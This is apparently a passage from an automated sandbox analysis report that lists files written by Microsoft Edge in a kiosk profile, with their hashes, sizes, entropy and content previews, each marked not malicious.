Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\0c3d83a6-ac3b-4363-81af-5fad4253c270.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.974972832822086
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJe1e2Mhu/EJ:stTj+sT39KNkcs88bV+FiAcPhuMJ
MD5:	CE9564299FEAB160DC4E94CB5AE94629
SHA1:	D1B8B46E9BD3E3F822BF3F5483EC379A8B7C0A90
SHA-256:	099682BBB9BF56FCF3F985880D3CB82CEE940968363DA2C2BCB784667743856C
SHA-512:	8E8D5D2AAD0C7EAD4A09C39193B78B8A8C1D9D64AEA62F41FA147D20F4FBDBF3715420CEFBD2EE7C083F58E0156DB29F491F7FA7116DA5645F2FE9C503E06A00
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\0cfc5a20-2588-47e2-9a49-298e68721690.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6630
Entropy (8bit):	4.9839325873099165
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3pXQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiACPhuMJ
MD5:	1F0DA563D03B5CA8B20380FC248D60E5
SHA1:	A0752845526329C176FD004A1D9ECB02CCE4C10F
SHA-256:	8BA3208EFB72C30D4FEC27E704B87D7EC9EB582A2BF014A5DF554D934CEC6BFB
SHA-512:	38BE1AB50E54F4D6AE0F62DF34417D1CD332A335AFB97705A94D729C158A59438EE224BA2217D7C0955AC5125B3BD6AA82B0CBDA755FAC42EFAB69DE0BAC7F27
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\1884762f-d011-4e28-9568-6837def7a143.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\1e3792c1-d766-41c4-b3ec-8d13df2240ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.981094171127765
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3oQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiAPPhuMJ
MD5:	7FB193D5241F9C01301ABEC79B72387A
SHA1:	C434AD85F240BB62D27F6D80D19F747191E03643
SHA-256:	1D57BF580A5BA66A545F7D33F01A25E8F643D2E0760FF6710124E0B7A2C23499
SHA-512:	BCD2C1DE64138DE90D7E2CD32F959CE235BC3C2D85F8CDF9505D38B6347BA61B1E1663EA76BC936EC992105ECE6D19983691E1FC8A0F884520E60C06C095EA73
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\28d3068d-d0ec-4b54-bc4c-3a80a4829ec9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98102799435172
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3BQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiAsPhuMJ
MD5:	98E344A6470F02ECEBEDC350A779852D
SHA1:	82A813485184520017DE34481BD935FE5BE4102A
SHA-256:	49AFC12B3E105E80ECBE3D01B7CB0F20AB3006AB84364322A6C05CF24FB69E54
SHA-512:	AD3CE666891C3E54A2FB359070A0823ABE939DEE7A758BA9082849676440C41E449A073144E634B80F789E60E80F734C758469D0D0D243F4E7AECB76BCB244DE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\3967302c-1832-4836-b14d-f14cf92779b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.9811291103970685
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3OQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiA9PhuMJ
MD5:	93F8DD3926EA1DABBE2C2667065DCC4E
SHA1:	EA19894F6A0DEB6E5BDCE73976A41C8DC467F3AA
SHA-256:	1CFD90B9A731E465FCBE0DB00B737EB56A2BAAD081A658AF73BE942C7AF0C4AB
SHA-512:	F616C4A765EA76E391CE9C429E4287906F65B22C9073DD40A31938B62F9DAAEF036859B3092BB491389619C6D9163334282F21F640F33FB9B477B09E13858060
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\420ff533-0457-48df-b21a-1c5cbe48e345.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6630
Entropy (8bit):	4.983865961370232
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3EQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiAxPhuMJ
MD5:	BA079F18687CE3515E455A7E4EE637C5
SHA1:	9BBDAAA1CFD7F34ED491C5CF5F95BD9F88F531C0
SHA-256:	9A3B3B1B3FAA9669A3BA118C87EEB178FD8AE5DB5FA214459E9FCF49F50E7F1A
SHA-512:	42BCCF4D6F3F8B7C4FC1630E992A39096344AE382F5D6F8367D0EBEF4FCBB0A1EC79BB09F9AED18A5B36DD142D8CFA109C3F24DC820F119F1E0CF1D2C0031C97
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\42cfd1ff-e7b7-4686-a81e-6c432548fb8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6528
Entropy (8bit):	4.982097461865343
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJS3fQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiAlPhuMJ
MD5:	82BC4CE68FAA24056FC6DAD3EDFEB1A4
SHA1:	89B29A78A7F76DA1E132E8FF97C137F216E5BEDE
SHA-256:	2C6AD259F4701A4A9F3A5BC1E52B498851DB5AEDA827D5C354EF374C5F9BCDC0
SHA-512:	BF58C77ECBCFF86982151A922CFB66CA3A7EDC949AD61196F263F0C5B12E0EF5A38913A9F34512881A4935B53FE77FB16BD1C5C2D2160C06E36F2B3015A79866
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\7546046b-0793-4614-896d-44f26fb57748.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98104273711551
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3aQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiABPhuMJ
MD5:	3454BF06DE24F7E75D1EC15A1CB1D915
SHA1:	FDA683AE9C8E53F1222B71FFE55904FF828B8543
SHA-256:	1E0A39892BB661CFD58C1D7989C98D8994C744F8BDC491F3A2220E11DF2C442D
SHA-512:	777BB8663AB56E4D6A46580C64535C32668C2337F725A3DBB1BD35695D69F083D9B0DAFE0F0E8F6D3FDBBC81236D5EA6EEDFED4EB91D1D248768CEB2E572BA76
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\797068c4-ca1d-4d37-be1a-9cd36e2693a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\7ea703e0-987c-40b2-881e-b3c8898a5174.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98102799435172
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3BQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiAsPhuMJ
MD5:	98E344A6470F02ECEBEDC350A779852D
SHA1:	82A813485184520017DE34481BD935FE5BE4102A
SHA-256:	49AFC12B3E105E80ECBE3D01B7CB0F20AB3006AB84364322A6C05CF24FB69E54
SHA-512:	AD3CE666891C3E54A2FB359070A0823ABE939DEE7A758BA9082849676440C41E449A073144E634B80F789E60E80F734C758469D0D0D243F4E7AECB76BCB244DE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\813fbeb9-5973-4507-8810-c7460ef2d293.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6394
Entropy (8bit):	4.975051916105816
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJefe2Mhu/EJ:stTj+sT39KNkcs88bV+FiAKPhuMJ
MD5:	10015A2CC3743058CE0DF61C62521974
SHA1:	BC5D6E1101243254A953B6DD6C8FF1F39E94CDB9
SHA-256:	A837C01CB391A300CC8C587C6D28CFBF7FCDB6E6AA9C27599E0366E43F8170C2
SHA-512:	1AAC8DCD9D404C5FE0089A894446EF9F1111E31B17B40AFBECF9808822A473FA9D75C44F9B985D6B43C28B0628DA4230B77B9913762B480D2E9ED7E47C4DC43F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\94365ccc-be8a-4102-9a97-1ee85b5e747f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6631
Entropy (8bit):	4.984130502931819
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3UQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiADPhuMJ
MD5:	389F71E651D15DEAE5C8C2C5A466A8E7
SHA1:	C860FE9AF9E60ACB6474B8800C4798A678CDCFAC
SHA-256:	258DEC37E77E409AD360B64F087F3CDCAE54E4D77B55A1DDC4A1515EDDE93430
SHA-512:	9100E753CE392E1A331A8DBCBE66998BED42A21446DB4341236F6E08FAF7D5B01678B715E325B0B8C2EDD29B23154BC5E523DAEB95DC18375A89AC6C705BA83A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	416280
Entropy (8bit):	5.107993951060298
Encrypted:	false
SSDEEP:	1536:nESXs/F3QmLu5RKTYbFOWIwptxI2Lp7NCIFu7EP38WJ5xR8Mm6EW9uU8ywMsF9l7:n6gPpjNnxRrmVlrEK9l4/lilWfEwlNw
MD5:	FB9CA8BA2130C42752FE1BE893DA474C
SHA1:	2D811A21CC85EC17A327C8443CF6191EF07AD4D6
SHA-256:	84CBA3AEA5046DC81E8681351DE05373DAA10EFD558A9C3E2DC98C9BAFBC12F2
SHA-512:	FDD9BDA52FA2FC8EA41B32B29F19E9A08FC4CE39400C8407FDCB9B21E8095436D54919038B10C9FFC6511861BDE1290F04B705F7D0D6CED32BFEBF0E313759CE
Malicious:	false
Preview:	...m.................DB_VERSION.1....................QUERY_TIMESTAMP:arbitration_priority_list4...13369625299782751.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]..A./..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivilegedExperienceID",.. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",.. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",.. "SHOPPING_AUTO_SHOW_BING_SEARCH",.. "SHOPPING_AUTO_SHOW_REBATES",.. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",.. "SHOPPING_AUTO_SHOW_REBATES_DEACTIVATED",.. "SHOPPING_AUTO_SHOW_REBATES_BING",.. "SHOPPING_AUTO_SHOW_REBATES_ORGANIC",.. "SHOPPING_AUTO_SHOW_PRICE_HIST

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.203076461990964
Encrypted:	false
SSDEEP:	6:hfL+q2Pwkn23oH+TcwtOEh1tIFUt8f1Zmw+1jLVkwOwkn23oH+TcwtOEh15LJ:YvYfYebOEh16FUt8f1/+b5JfYebOEh1H
MD5:	4014D60CFA9B47973A7536608D474BCE
SHA1:	948172B4C634C441DF80C019722A901C780846E9
SHA-256:	860CD4B651A62CB71A7D55A8D1D714C7603F0BE68DDA33158615F203670D5B1A
SHA-512:	8421375DF691BDFCDCCC806D00EF55A795F4494CBB7D14BC862641354842C8495A49515218D72D3517B0C33B002E330ABC456A0EF8C60C5A19427CD2730007EA
Malicious:	false
Preview:	2024/08/31-20:51:19.412 1f78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db/MANIFEST-000001.2024/08/31-20:51:19.413 1f78 Recovering log #3.2024/08/31-20:51:19.417 1f78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.203076461990964
Encrypted:	false
SSDEEP:	6:hfL+q2Pwkn23oH+TcwtOEh1tIFUt8f1Zmw+1jLVkwOwkn23oH+TcwtOEh15LJ:YvYfYebOEh16FUt8f1/+b5JfYebOEh1H
MD5:	4014D60CFA9B47973A7536608D474BCE
SHA1:	948172B4C634C441DF80C019722A901C780846E9
SHA-256:	860CD4B651A62CB71A7D55A8D1D714C7603F0BE68DDA33158615F203670D5B1A
SHA-512:	8421375DF691BDFCDCCC806D00EF55A795F4494CBB7D14BC862641354842C8495A49515218D72D3517B0C33B002E330ABC456A0EF8C60C5A19427CD2730007EA
Malicious:	false
Preview:	2024/08/31-20:51:19.412 1f78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db/MANIFEST-000001.2024/08/31-20:51:19.413 1f78 Recovering log #3.2024/08/31-20:51:19.417 1f78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
